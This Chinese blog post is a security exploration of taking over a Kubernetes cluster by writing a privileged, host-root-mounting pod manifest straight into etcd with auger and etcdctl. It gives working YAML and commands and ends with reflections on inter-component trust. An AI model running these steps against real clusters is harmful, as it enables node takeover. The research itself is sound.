k8s环境下etcd利用探索

  1. 1. etcd中k8s的数据存储格式
  2. 2. 写etcd数据控制集群
  3. 3. 思考总结

在了解etcd利用的时候发现都是清一色的读secret,产生了一个疑惑不可以直接通过写etcd数据间接控制k8s集群吗?于是有了下面的探索。

etcd中k8s的数据存储格式

直接用etcdctl读取etcd中k8s相关数据会发现很大一份部分是乱码,经过简单了解可以知道这些数据是序列化存储到的etcd.

所以我们深入研究一下这些数据是如何序列化以及反序列化的,需要阅读一下k8s这部分的代码,参考下面这篇文章 一直往下跟 https://www.cnblogs.com/HopeGi/p/15370176.html

最终可以发现起序列化作用的是,Transformer 接口的 TransformToStorage 方法

1
2
3
4
5
6
7
8
type Transformer interface {
// TransformFromStorage may transform the provided data from its underlying storage representation or return an error.
// Stale is true if the object on disk is stale and a write to etcd should be issued, even if the contents of the object
// have not changed.
TransformFromStorage(ctx context.Context, data []byte, dataCtx Context) (out []byte, stale bool, err error)
// TransformToStorage may transform the provided data into the appropriate form in storage or return an error.
TransformToStorage(ctx context.Context, data []byte, dataCtx Context) (out []byte, err error)
}

img

查找接口实现发现有多个实现,

img

往前回溯确定默认是用的哪种,然后发现每个path用的都不一样。

img

不过我们先挑一个唬人一点的看看

img

虽然看着很吓人,数据用CBC加密了,但是往前回溯发现key是由etcd的键值计算出来的

img

其它的就不一一介绍分析了,到这里基本确定,etcd中存储的序列化数据虽然部分加密,但密钥基本都很弱,可以推出。

所以去找了下轮子,发现了auger, 既支持加密又支持解密 https://github.com/jpbetz/auger ,很方便

写etcd数据控制集群

以写一个特权的POD为例:

  1. poc_pod.yaml:

这个yaml是先读取etcd中特权pod数据然后解码再稍加修改的, 想生成其它的POD也可以用这个方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
apiVersion: v1
kind: Pod
metadata:
annotations:
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"poc-pod","namespace":"default"},"spec":{"containers":[{"args":["while true; do sleep 3600; done;"],"command":["/bin/bash","-c","--"],"image":"ubuntu","name":"ubuntu-containerd","securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/hostfiles","name":"test-volume"}]}],"hostNetwork":true,"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"test-volume"}]}}
creationTimestamp: "2022-12-13T09:52:08Z"
name: poc-pod
namespace: default
uid: a14c8434-2380-4cca-9834-b6ca6be7d219
spec:
containers:
- args:
- while true; do sleep 3600; done;
command:
- /bin/bash
- -c
- --
image: ubuntu
imagePullPolicy: Always
name: ubuntu-containerd
resources: {}
securityContext:
privileged: true
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /hostfiles
name: test-volume
- mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: kube-api-access-xh6zz
readOnly: true
dnsPolicy: ClusterFirst
hostNetwork: true
priority: 0
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
serviceAccount: default
serviceAccountName: default
terminationGracePeriodSeconds: 30
tolerations:
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 300
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 300
volumes:
- hostPath:
path: /
type: Directory
name: test-volume
- name: kube-api-access-xh6zz
projected:
defaultMode: 420
sources:
- {}
- configMap:
items:
- key: ca.crt
path: ca.crt
name: kube-root-ca.crt
- downwardAPI:
items:
- fieldRef:
apiVersion: v1
fieldPath: metadata.namespace
path: namespace
status:
conditions:
- lastProbeTime: null
lastTransitionTime: "2022-12-13T09:52:08Z"
message: ''
reason: Unschedulable
status: "False"
type: PodScheduled
phase: Pending
qosClass: BestEffort
  1. clone auger and build:
1
2
3
git clone https://github.com/jpbetz/auger.git
cd auger
go build main.go
  1. 使用auger序列化pod数据然后写入etcd
1
cat poc_pod.yaml | ./auger encode | ETCDCTL_API=3 ./etcdctl --endpoints=127.0.0.1:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/peer.crt --key=/etc/kubernetes/pki/etcd/peer.key put /registry/pods/default/poc-pod
  1. 稍等片刻就会发现pod已经起来

img

思考总结

对于kubernetes来说,etcd这种利用方式算安全缺陷吗,需要改进吗?根据外部输入均不可信的原则来看,这个利用对k8s集群来说确实算安全风险。

同时我们延伸思考,从整体上来看围绕kubernetes组成的云原生生态为了便于扩展和开发,采用了松耦合的设计,把功能都分散到各个组件。但同时各个组件之间的信任与授权关系就需要重新考量,处理不当就会导致一个组件沦陷致使整个集群的沦陷。